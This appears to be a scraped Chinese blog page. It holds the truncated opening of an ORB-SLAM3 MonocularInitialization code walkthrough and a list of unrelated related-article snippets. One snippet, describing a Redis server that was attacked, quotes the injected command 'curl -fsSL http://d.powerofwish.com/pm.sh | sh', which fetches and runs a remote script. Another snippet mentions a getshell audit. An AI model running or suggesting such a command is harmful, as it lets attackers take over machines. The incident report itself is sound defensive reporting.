手把手带你死磕ORBSLAM3源代码(三十四)Tracking.cc MonocularInitialization编辑
目录
一.前言
二.代码
2.1完整代码
2.2 单目视觉跟踪初始化
一.前言
这段代码是一个名为MonocularInitialization的函数，它属于Tracking类。从函数名称和代码内容来看，这个函数主要用于单目视觉跟踪的初始化过程。以下是代码的详细解读：
首先，函数检查一个名为m
相关文章：
Tracking.cc MonocularInitialization编辑){kind=tracking}
手把手带你死磕ORBSLAM3源代码(三十四)Tracking.cc MonocularInitialization编辑
目录 一.前言 二.代码 2.1完整代码 2.2 单目视觉跟踪初始化 一.前言 这段代码是一个名为MonocularInitialization的函数，它属于Tracking类。从函数名称和代码内容来看，这个函数主要用于单目视觉跟踪的初始化过程。以下是代码的详细解读： 首先，函数检查一个名为m...
STL标准库与泛型编程（侯捷）笔记3
STL标准库与泛型编程（侯捷） 本文是学习笔记，仅供个人学习使用。如有侵权，请联系删除。 参考链接 Youbute: 侯捷-STL标准库与泛型编程 B站: 侯捷 - STL Github:STL源码剖析中源码 https://github.com/SilverMaple/STLSourceCo…...
Iceberg: 列式读取Parquet数据
通过Spark读取Parquet文件的基本流程 SQL > Spark解析SQL生成逻辑计划树 LogicalPlan > Spark创建扫描表/读取数据的逻辑计划结点 DataSourceV2ScanRelation > Spark优化逻辑计划树，生成物理计划树 SparkPlan > Spark根据不同的属性，将逻辑…...
Ansible、Saltstack、Puppet自动化运维工具介绍
本文主要是分享介绍三款主流批量操控工具Ansible、Saltstack、Puppet主要对比区别，以及Ansible和saltstack的基础安装和使用示例，如果觉得本文对你有帮助，欢迎点赞、收藏、评论！ There are many things that can not be broken&am…...
python线程池提交任务
1. 线程池参数设置 CPU数量：N线程池的核心线程数量 IO密集型的话，一般设置为 2 * N 1； CPU密集型的话，一般设置为 N 1 或者 使用进程池。线程池的最大任务队列长度 （线程池的核心线程数 / 单个任务的执行时间&#…...
跨境电商企业客户服务优化指南：关键步骤与实用建议
随着全球经济一体化的加强，跨境电子商务产业在过去几年蓬勃发展。但是，为应对激烈竞争，提供全方面的客户服务成为了跨境电子商务卖家在市场中获得优势的关键因素之一。本文将介绍跨境电商企业优化客户服务有哪些步骤？以助力企业提…...
Visual Studio Code 常用快捷键
Visual Studio Code 常用快捷键 文章目录 Visual Studio Code 常用快捷键1. 主命令框2. 常用快捷键2.1 编辑器与窗口管理2.2 代码编辑格式调整光标相关重构代码查找替换显示相关其他 1. 主命令框 F1 或 CtrlShiftP : 打开命令面板。在打开的输入框内，可以输入任何命…...
ubuntu创建pytorch-gpu的docker环境
文章目录 安装docker创建镜像创建容器 合作推广，分享一个人工智能学习网站。计划系统性学习的同学可以了解下，点击助力博主脱贫( •̀ ω •́ )✧ 使用docker的好处就是可以将你的环境和别人的分开，特别是共用的情况下。本文介绍了ubuntu环境…...
数据库原理与应用期末复习试卷2
数据库原理技术与应用 一.单项选择题 设有属性A，B，C，D，以下表示中不是关系的是( C) A、R(A) B、R(A, B, C, D) C、R（AxBxCxD） D、R(A，B) 在SQL语言中的视图VIEW是数据库的(A）…...
操作系统丨单元测试
文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是（D）。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以（D）为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...
tcp/ip协议2实现的插图，数据结构6 (24 - 章)
(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...
Linux链接的创建，删除，修改
目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中，链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用，…...
HarmoryOS Ability页面的生命周期
接入穿山甲SDK app示例： android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK，实现app流量变现 Ability页面的生命周期 学习前端，第一步最重要的是要理解，页面启动和不同场景下的生命周期的…...
【Flink 从入门到成神系列 一】算子
👏作者简介：大家好，我是爱敲代码的小黄，阿里巴巴淘天Java开发工程师，CSDN博客专家📕系列专栏：Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...
无人机自主寻优降落在移动车辆
针对无人机寻找并降落在移动车辆上的问题，一套可能的研究总体方案： 问题定义与建模： 确定研究的具体范围和目标，包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型（MDP）…...
科技感十足界面模板
科技感界面 在强调简洁的科技类产品相关设计中，背景多数分为：颜色或写实图片两种。 颜色很好理解，大多以深色底为主。强调一种神秘感和沉稳感，同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用，就要求其…...
pytest装饰器 @pytest.mark.parametrize 使用方法
pytest.mark.parametrize 有三种传参方法，分别是： 1.列表传参：将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参：将参数值作为元组传递给装饰器。 pytes…...
redis被攻击
之前由于redis没有修改端口，密码也比较简单，也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本，比如：Back1 Back2 Back3 Back4 ，内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式，如下…...
二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明
处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置；默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...
【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024
AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...
后进先出（LIFO）详解
LIFO 是 Last In, First Out 的缩写，中文译为后进先出。这是一种数据结构的工作原则，类似于一摞盘子或一叠书本： 最后放进去的元素最先出来 -想象往筒状容器里放盘子： （1）你放进的最后一个盘子（…...
Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...
uni-app学习笔记二十二---使用vite.config.js全局导入常用依赖
在前面的练习中，每个页面需要使用ref，onShow等生命周期钩子函数时都需要像下面这样导入 import {onMounted, ref} from "vue" 如果不想每个页面都导入，需要使用node.js命令npm安装unplugin-auto-import npm install unplugin-au…...
Frozen-Flask ：将 Flask 应用“冻结”为静态文件
Frozen-Flask 是一个用于将 Flask 应用“冻结”为静态文件的 Python 扩展。它的核心用途是：将一个 Flask Web 应用生成成纯静态 HTML 文件，从而可以部署到静态网站托管服务上，如 GitHub Pages、Netlify 或任何支持静态文件的网站服务器。 &am…...
DBAPI如何优雅的获取单条数据
API如何优雅的获取单条数据 案例一 对于查询类API，查询的是单条数据，比如根据主键ID查询用户信息，sql如下： select id, name, age from user where id #{id}API默认返回的数据格式是多条的，如下： {&qu…...
DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人，点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置，详见说明文档 成功后，记录Webhook 2 API文档说明 点击设置说明 查看自…...
搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1）准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2）服务端安装软件：bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...
腾讯云V3签名
想要接入腾讯云的Api，必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口，但总是卡在签名这一步，最后放弃选择SDK，这次终于自己代码实现。 可能腾讯云翻新了接口文档，现在阅读起来，清晰了很多&…...
【网络安全】开源系统getshell漏洞挖掘
审计过程： 在入口文件admin/index.php中： 用户可以通过m,c,a等参数控制加载的文件和方法，在app/system/entrance.php中存在重点代码： 当M_TYPE system并且M_MODULE include时，会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
Oracle11g安装包
Oracle 11g安装包 适用于windows系统，64位 下载路径 oracle 11g 安装包...